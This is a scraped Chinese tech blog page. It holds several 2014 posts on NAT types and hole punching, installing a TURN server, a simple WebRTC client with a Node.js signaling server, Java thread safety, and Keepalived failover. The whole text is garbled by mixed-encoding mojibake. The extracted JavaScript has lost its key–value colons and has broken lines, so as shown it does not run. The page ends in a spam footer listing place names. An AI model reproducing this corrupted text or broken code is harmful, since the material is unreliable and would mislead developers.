          現(xiàn)在假設(shè)客戶端和Server的通訊都沒(méi)問(wèn)題,客戶端知道自己所處環(huán)境,并且將自己的信息通過(guò)服務(wù)器發(fā)送給了另一方客戶端,它們可能的打洞情況如下:
          1. Full Cone NAT 與 Full Cone NAT:通訊很容易,各自通過(guò)STUN Server獲取外部IP和Port后,通過(guò)信令服務(wù)器通知另一方,即可通訊。
          2. Full Cone NAT 與 Restricted Cone NAT或Port Restricted Cone NAT在互相告知IP和Port后,如果由Full Cone NAT端先發(fā)送數(shù)據(jù)包,會(huì)失敗,必須由Restricted Cone NAT或Port Restricted Cone NAT端先發(fā)送數(shù)據(jù)包給Full Cone NAT,之后雙方即可互相通訊。
          3. Full Cone NAT 與 Symmetric NAT通訊時(shí),必須先由Symmetric NAT端發(fā)送數(shù)據(jù)包給Full Cone NAT端,F(xiàn)ull Cone NAT端通過(guò)發(fā)來(lái)的數(shù)據(jù)包獲得目標(biāo)的新端口號(hào),之后通過(guò)這個(gè)新端口號(hào)完成互相通訊。
          4. Restricted Cone NAT 與 Restricted Cone NAT、Restricted Cone NAT 與 Port Restricted Cone NAT、Port Restricted Cone NAT 與 Port Restricted Cone NAT之間通訊時(shí),先發(fā)送數(shù)據(jù)包的一方會(huì)失敗,之后另一方發(fā)送數(shù)據(jù)包成功后,可互相通訊。
          5. Restricted Cone NAT 與 Symmetric NAT通訊時(shí),先由Restricted Cone NAT發(fā)送數(shù)據(jù)包給Symmetric NAT,發(fā)送數(shù)據(jù)會(huì)失敗,只是為了下次能接收從Symmetric NAT端發(fā)送過(guò)來(lái)的數(shù)據(jù)包。然后由Symmetric NAT發(fā)送數(shù)據(jù)包到Restricted Cone NAT端,Restricted Cone NAT端會(huì)收到數(shù)據(jù)包,并且將新的端口號(hào)記下,使用新的端口號(hào)可與Symmetric NAT端通訊。
          6. Port Restricted Cone NAT 與 Symmetric NAT通訊時(shí),由于Port Restricted Cone NAT會(huì)對(duì)IP:PORT對(duì)進(jìn)行限制,所以當(dāng)Symmetric NAT端使用新PORT發(fā)來(lái)數(shù)據(jù)包時(shí),Port Restricted Cone NAT端收不到,它們之間無(wú)法通訊。
          7. Symmetric NAT 與 Symmetric NAT也無(wú)法通訊 。
          posted @ 2014-10-23 14:17 老林 閱讀(6496) | 評(píng)論 (0)編輯 收藏

          針對(duì)收發(fā)UDP數(shù)據(jù),NAT可分為Full Cone、Restricted Cone、Port Restricted Cone、Symmetric NAT四類,在RFC3489中有定義(http://datatracker.ietf.org/doc/rfc3489/?include_text=1)。
          1. Full Cone:所有從相同的內(nèi)部IP和PORT發(fā)出的請(qǐng)求都映射為相同的外部IP和PORT,而后任何外部主機(jī)只要發(fā)送數(shù)據(jù)包給NAT的IP和PORT就會(huì)被轉(zhuǎn)發(fā)給內(nèi)部主機(jī)。
          從圖中可以看到,只要內(nèi)部主機(jī)通過(guò)NAT訪問(wèn)了一次外部主機(jī),在Mapping Table中會(huì)增加一條內(nèi)部IP:Port映射到NAT的端口,那么外部的任何主機(jī)都可以通過(guò)NAT的IP:PORT將數(shù)據(jù)發(fā)給內(nèi)部主機(jī)。
          2. Restricted Cone:所有從相同的內(nèi)部IP和PORT發(fā)出的請(qǐng)求都映射為相同的外部IP和PORT,但只有內(nèi)部主機(jī)曾發(fā)送過(guò)數(shù)據(jù)的外部IP才可將數(shù)據(jù)包通過(guò)NAT的IP:PORT發(fā)給內(nèi)部主機(jī)。
          從圖中可以看到,因?yàn)閮?nèi)部主機(jī)沒(méi)有發(fā)過(guò)數(shù)據(jù)包給外部主機(jī)B,所以外部主機(jī)發(fā)到NAT的數(shù)據(jù)包無(wú)法發(fā)給內(nèi)部主機(jī)。
          3. Port Restricted Cone:和Restricted Cone類似,但是除了IP的限制外增加了PORT的限制,即只有內(nèi)部主機(jī)曾發(fā)送過(guò)數(shù)據(jù)的外部IP:PORT才可將數(shù)據(jù)包通過(guò)NAT的IP:PORT發(fā)給內(nèi)部主機(jī)。
          從圖中可以看到,外部主機(jī)1用另一個(gè)PORT無(wú)法將數(shù)據(jù)發(fā)到內(nèi)部主機(jī)。
          4. Symmetric NAT:從內(nèi)部主機(jī)相同的IP和PORT發(fā)出的請(qǐng)求,當(dāng)訪問(wèn)不同外部IP和PORT時(shí),都會(huì)在NAT上創(chuàng)建不同的映射。
          上圖中雖然內(nèi)部IP和PORT相同,但訪問(wèn)不同的外部IP/PORT對(duì),都會(huì)映射為不同的NAT PORT。當(dāng)外部主機(jī)發(fā)數(shù)據(jù)包給內(nèi)部主機(jī)時(shí),也只能使用對(duì)應(yīng)的PORT。
          posted @ 2014-10-23 13:56 老林 閱讀(3318) | 評(píng)論 (0)編輯 收藏

          在使用WebRTC進(jìn)行即時(shí)通訊時(shí),需要使瀏覽器進(jìn)行P2P通訊,但是由于NAT環(huán)境的復(fù)雜性,并不是所有情況下都能進(jìn)行P2P,這時(shí)需要TURN Server來(lái)幫助客戶端之間轉(zhuǎn)發(fā)數(shù)據(jù)。rfc5766-turn-server是一個(gè)高性能的開(kāi)源TURN Server實(shí)現(xiàn)。
          以下是在EC2上使用Ubuntu操作系統(tǒng)安裝rfc5766-turn-server:
          1. 下載安裝包:
          $ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb
          2. 安裝:
          $ sudo apt-get update
          $ sudo apt-get install gdebi-core
          $ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb
          安裝完后,在/usr/share/doc/rfc5766-turn-server下有很多文檔可參考。
          3. 配置:
          $ sudo vi /etc/turnserver.conf
          ---------------------------------------
          // 配置IP,EC2下需要配置listening-ip和external-ip
          listening-ip=172.31.4.37
          external-ip=54.223.149.60
          // 當(dāng)TURN Server用于WebRTC時(shí),必須使用long-term credential mechanism
          lt-cred-mech
          // 增加一個(gè)用戶
          user=username1:password1
          // 設(shè)定realm
          realm=mycompany.org
          ---------------------------------------
          4. 啟動(dòng):
          sudo turnserver -c /etc/turnserver.conf --daemon
          5. 服務(wù)啟動(dòng)后,在上一個(gè)WebRTC示例中更改iceServers后測(cè)試:
          "iceServers": [{
              "url": "stun:stun.l.google.com:19302"
          }, {
              "url": "turn:54.223.149.60",
              "username": "username1",
              "credential": "password1"
          }]
          更多安裝信息在:http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL
          rfc5766-turn-server當(dāng)然也有STUN Server的能力,但是需要給它配置2個(gè)IP,以幫助探測(cè)客戶端所在NAT環(huán)境的行為,這里沒(méi)有做。
          posted @ 2014-10-22 14:23 老林 閱讀(8389) | 評(píng)論 (3)編輯 收藏

          在學(xué)習(xí)WebRTC時(shí),網(wǎng)上的示例大多代碼較多,以下是參考那些代碼簡(jiǎn)化的一個(gè)WebRTC一對(duì)一的示例,在chrome 37下測(cè)試通過(guò)。其中iceServer可省略,沒(méi)有iceServer時(shí)在同一個(gè)局域網(wǎng)下仍可通訊。

          客戶端代碼:
          <html>
          <body>
              Local: <br>
              <video id="localVideo" autoplay></video><br>
              Remote: <br>
              <video id="remoteVideo" autoplay></video>

              <script>
                  
          // 僅僅用于控制哪一端的瀏覽器發(fā)起offer,#號(hào)后面有值的一方發(fā)起
                  var isCaller = window.location.href.split('#')[1];

                  
          // 與信令服務(wù)器的WebSocket連接
                  var socket = new WebSocket("ws://127.0.0.1:3000");

                  
          // stun和turn服務(wù)器
                  var iceServer = {
                      
          "iceServers": [{
                          
          "url""stun:stun.l.google.com:19302"
                      }, {
                          
          "url""turn:numb.viagenie.ca",
                          
          "username""webrtc@live.com",
                          
          "credential""muazkh"
                      }]
                  };

                  
          // 創(chuàng)建PeerConnection實(shí)例 (參數(shù)為null則沒(méi)有iceserver,即使沒(méi)有stunserver和turnserver,仍可在局域網(wǎng)下通訊)
                  var pc = new webkitRTCPeerConnection(iceServer);

                  
          // 發(fā)送ICE候選到其他客戶端
                  pc.onicecandidate = function(event){
                      
          if (event.candidate !== null) {
                          socket.send(JSON.stringify({
                              
          "event""_ice_candidate",
                              
          "data": {
                                  
          "candidate": event.candidate
                              }
                          }));
                      }
                  };

                  
          // 如果檢測(cè)到媒體流連接到本地,將其綁定到一個(gè)video標(biāo)簽上輸出
                  pc.onaddstream = function(event){
                      document.getElementById('remoteVideo').src 
          = URL.createObjectURL(event.stream);
                  };

                  
          // 發(fā)送offer和answer的函數(shù),發(fā)送本地session描述
                  var sendOfferFn = function(desc){
                      pc.setLocalDescription(desc);
                      socket.send(JSON.stringify({ 
                          
          "event""_offer",
                          
          "data": {
                              
          "sdp": desc
                          }
                      }));
                  },
                  sendAnswerFn 
          = function(desc){
                      pc.setLocalDescription(desc);
                      socket.send(JSON.stringify({ 
                          
          "event""_answer",
                          
          "data": {
                              
          "sdp": desc
                          }
                      }));
                  };

                  
          // 獲取本地音頻和視頻流
                  navigator.webkitGetUserMedia({
                      
          "audio"true,
                      
          "video"true
                  }, 
          function(stream){
                      
          //綁定本地媒體流到video標(biāo)簽用于輸出
                      document.getElementById('localVideo').src = URL.createObjectURL(stream);
                      
          //向PeerConnection中加入需要發(fā)送的流
                      pc.addStream(stream);
                      
          //如果是發(fā)起方則發(fā)送一個(gè)offer信令
                      if(isCaller){
                          pc.createOffer(sendOfferFn, 
          function (error) {
                              console.log('Failure callback: ' 
          + error);
                          });
                      }
                  }, 
          function(error){
                      
          //處理媒體流創(chuàng)建失敗錯(cuò)誤
                      console.log('getUserMedia error: ' + error);
                  });

                  
          //處理到來(lái)的信令
                  socket.onmessage = function(event){
                      
          var json = JSON.parse(event.data);
                      console.log('onmessage: ', json);
                      
          //如果是一個(gè)ICE的候選,則將其加入到PeerConnection中,否則設(shè)定對(duì)方的session描述為傳遞過(guò)來(lái)的描述
                      if( json.event === "_ice_candidate" ){
                          pc.addIceCandidate(
          new RTCIceCandidate(json.data.candidate));
                      } 
          else {
                          pc.setRemoteDescription(
          new RTCSessionDescription(json.data.sdp));
                          
          // 如果是一個(gè)offer,那么需要回復(fù)一個(gè)answer
                          if(json.event === "_offer") {
                              pc.createAnswer(sendAnswerFn, 
          function (error) {
                                  console.log('Failure callback: ' 
          + error);
                              });
                          }
                      }
                  };
              
          </script>
          </body>
          </html>

          實(shí)現(xiàn)WebRTC時(shí),信令服務(wù)器是必須的,它幫助客戶端之間進(jìn)行溝通。
          這里使用Node.js的ws模塊來(lái)實(shí)現(xiàn)一個(gè)WebSocket服務(wù)作為信令服務(wù)器。另外使用express模塊讓它提供html頁(yè)面的訪問(wèn)。
          server.js代碼如下:
          var express = require('express'),
          app = express(),
          server = require('http').createServer(app);

          server.listen(3000);

          app.get('/', function(req, res) {
              res.sendfile(__dirname + '/webrtc.html');
          });

          var WebSocketServer = require('ws').Server,
          wss = new WebSocketServer({server: server});

          // 存儲(chǔ)socket的數(shù)組,這里只能有2個(gè)socket,每次測(cè)試需要重啟,否則會(huì)出錯(cuò)
          var wsc = [],
          index = 1;

          // 有socket連入
          wss.on('connection', function(ws) {
              console.log('connection');

              // 將socket存入數(shù)組
              wsc.push(ws);

              // 記下對(duì)方socket在數(shù)組中的下標(biāo),因?yàn)檫@個(gè)測(cè)試程序只允許2個(gè)socket
              // 所以第一個(gè)連入的socket存入0,第二個(gè)連入的就是存入1
              // otherIndex就反著來(lái),第一個(gè)socket的otherIndex下標(biāo)為1,第二個(gè)socket的otherIndex下標(biāo)為0
              var otherIndex = index--,
              desc = null;

              if (otherIndex == 1) {
                  desc = 'first socket';
              } else {
                  desc = 'second socket';
              }

              // 轉(zhuǎn)發(fā)收到的消息
              ws.on('message', function(message) {
                  var json = JSON.parse(message);
                  console.log('received (' + desc + '): ', json);

                  wsc[otherIndex].send(message, function (error) {
                      if (error) {
                          console.log('Send message error (' + desc + '): ', error);
                      }
                  });
              });
          });

          使用npm安裝需要的模塊后使用node server.js啟動(dòng)服務(wù)。
          測(cè)試時(shí)使用Chrome瀏覽器:
          第一個(gè)瀏覽器窗口訪問(wèn)頁(yè)面:http://127.0.0.1:3000,在彈出的提示中允許使用攝像頭和麥克風(fēng)。
          第二個(gè)瀏覽器窗口訪問(wèn)頁(yè)面:http://127.0.0.1:3000#true,#true表示它是一個(gè)發(fā)起方,在彈出的提示中同樣允許使用攝像頭和麥克風(fēng)。
          這時(shí)頁(yè)面中應(yīng)當(dāng)可以看到2個(gè)畫(huà)面,一個(gè)是本地的,一個(gè)是遠(yuǎn)端的。

          將代碼中的IP稍做調(diào)整后部署到外網(wǎng),即可在2個(gè)不同的地點(diǎn)訪問(wèn)這個(gè)頁(yè)面進(jìn)行實(shí)時(shí)通訊。


          微信訂閱號(hào):
          源文地址:http://blog.gopersist.com/2014/10/21/webrtc-simple/
          posted @ 2014-10-21 17:21 老林 閱讀(43356) | 評(píng)論 (6)編輯 收藏

          并發(fā)編程時(shí),必須考慮安全性問(wèn)題,即線程安全,所謂線程安全就是可以同時(shí)被多個(gè)線程調(diào)用,調(diào)用者無(wú)須額外的操作,程序也不會(huì)出現(xiàn)錯(cuò)誤的結(jié)果。
          要使程序是線程安全的,必須考慮以下2點(diǎn):
          1. 是否存在競(jìng)態(tài)條件,常見(jiàn)的是那些先檢查后執(zhí)行的操作行為,它的正確結(jié)果取決于運(yùn)氣。避免錯(cuò)誤結(jié)果的方法是保證操作的原子性,通常使用加鎖,也有一些原子變量類可以達(dá)到目的。
          2. 對(duì)象狀態(tài)在內(nèi)存中是否可見(jiàn),即當(dāng)一個(gè)線程修改了對(duì)象的狀態(tài)后,其他線程不一定看到修改后的狀態(tài)。保證其他線程總是能看到最新?tīng)顟B(tài)的方法有2種:一種是加鎖,另一種是使用volatile變量。
          于是得出幾個(gè)結(jié)論:
          1. 加鎖機(jī)制可保證可見(jiàn)性和原子性,所以能保證線程安全;
          2. 原子變量可保證原子性,但不能保證可見(jiàn)性,所以不能保證線程安全;
          3. volatile變量能保證可見(jiàn)性,但不能保證原子性,所以不能保證線程安全;
          4. volatile的原子變量能保證線程安全。
          除此之外,還有一些對(duì)象一定是線程安全的:
          1. 無(wú)狀態(tài)對(duì)象;
          2. 不可變對(duì)象。
          但是加鎖機(jī)制會(huì)產(chǎn)生活躍性問(wèn)題,活躍性問(wèn)題關(guān)注正確的行為是否一定會(huì)發(fā)生,主要有死鎖問(wèn)題。
          死鎖簡(jiǎn)單來(lái)講是這樣的:線程A持有鎖L并想獲得鎖M,同時(shí)線程B持有鎖M并想獲得鎖L,這時(shí)線程A和B都永久阻塞。
          避免死鎖的關(guān)鍵是要保證每個(gè)線程獲取鎖的順序必須相同,如上面線程A和B獲取鎖的順序如果都是先獲取鎖L再獲取鎖M,就不會(huì)發(fā)生死鎖問(wèn)題。
          當(dāng)持有鎖時(shí)調(diào)用外部方法,會(huì)很難分析獲取鎖的順序,要盡量避免。
          編碼參考:
          1. 將所有可變狀態(tài)都封裝在對(duì)象內(nèi)部,并通過(guò)對(duì)象的內(nèi)置鎖對(duì)所有訪問(wèn)可變狀態(tài)的代碼進(jìn)行同步;
          2. 擴(kuò)展線程安全的容器類時(shí),在新類中委托容器類的其他方法,使用新鎖,不要關(guān)心原來(lái)的容器類是否線程安全。
          參考資料:
          《JAVA并發(fā)編程實(shí)戰(zhàn)》
          posted @ 2014-10-10 13:41 老林 閱讀(1301) | 評(píng)論 (0)編輯 收藏

          試用Keepalived來(lái)做雙機(jī)熱備,服務(wù)器信息如下:
          服務(wù)器 操作系統(tǒng) IP 虛擬IP
          Server 1 Centos 192.168.18.20 192.168.18.22
          Server 2 Centos 192.168.18.21 192.168.18.22

          1. 安裝Keepalived

          2臺(tái)Server都使用下面的命令安裝Keepalived:
          yum install keepalived -y

          2. Server1 Keepalived 配置

          $ vi /etc/keepalived/keepalived.conf

          vrrp_instance VI_1 {
              state MASTER
              interface eth0
              virtual_router_id 51
              priority 100                   # 優(yōu)先級(jí)
              advert_int 1                 # 心跳間隔(秒)
              authentication {
                  auth_type PASS
                  auth_pass 1111
              }
              virtual_ipaddress {
                  192.168.18.22         # 虛擬IP
              }
          }

          3. Server2 Keepalived 配置

          $ vi /etc/keepalived/keepalived.conf

          vrrp_instance VI_1 {
              state BACKUP              # 備份機(jī)
              interface eth0
              virtual_router_id 51
              priority 99                   # 優(yōu)先級(jí),比主服務(wù)器底
              advert_int 1                 # 心跳間隔(秒)
              authentication {
                  auth_type PASS
                  auth_pass 1111
              }
              virtual_ipaddress {
                  192.168.18.22         # 虛擬IP
              }
          }

          4. 啟動(dòng)Keepalived

          $ service keepalived start
          啟動(dòng)keepalived后,可看到2臺(tái)Server都綁定了虛擬IP:
          $ ip a

          # Server 1:
          2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
              link/ether 00:24:8c:8c:67:43 brd ff:ff:ff:ff:ff:ff
              inet 192.168.18.20/24 brd 192.168.18.255 scope global eth0
              inet 192.168.18.22/32 scope global eth0
              inet6 fe80::224:8cff:fe8c:6743/64 scope link 
                 valid_lft forever preferred_lft forever

          # Server 2:
          2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
              link/ether 00:23:54:bf:ab:17 brd ff:ff:ff:ff:ff:ff
              inet 192.168.18.21/24 brd 192.168.18.255 scope global eth0
              inet 192.168.18.22/32 scope global eth0
              inet6 fe80::223:54ff:febf:ab17/64 scope link 
                 valid_lft forever preferred_lft forever

          5. 測(cè)試

          瀏覽器訪問(wèn)http://192.168.18.22,出現(xiàn) This is Server 1.
          將192.168.18.20關(guān)閉,再訪問(wèn)http://192.168.18.22,出現(xiàn)This is Server 2.

          微信訂閱號(hào):
          源文地址:http://blog.gopersist.com/2014/09/24/keepalived/
          posted @ 2014-09-24 11:34 老林 閱讀(2055) | 評(píng)論 (2)編輯 收藏

          主站蜘蛛池模板: 康定县| 重庆市| 全南县| 孟州市| 赤壁市| 凭祥市| 册亨县| 河西区| 吴旗县| 稻城县| 铜鼓县| 济南市| 醴陵市| 万盛区| 荆州市| 麻城市| 四子王旗| 红桥区| 龙门县| 嘉定区| 黔西| 渝中区| 鸡西市| 右玉县| 宝坻区| 新邵县| 庄浪县| 石景山区| 石门县| 辽源市| 隆安县| 剑川县| 娄烦县| 社旗县| 大邑县| 聂拉木县| 合作市| 哈巴河县| 墨竹工卡县| 工布江达县| 门源|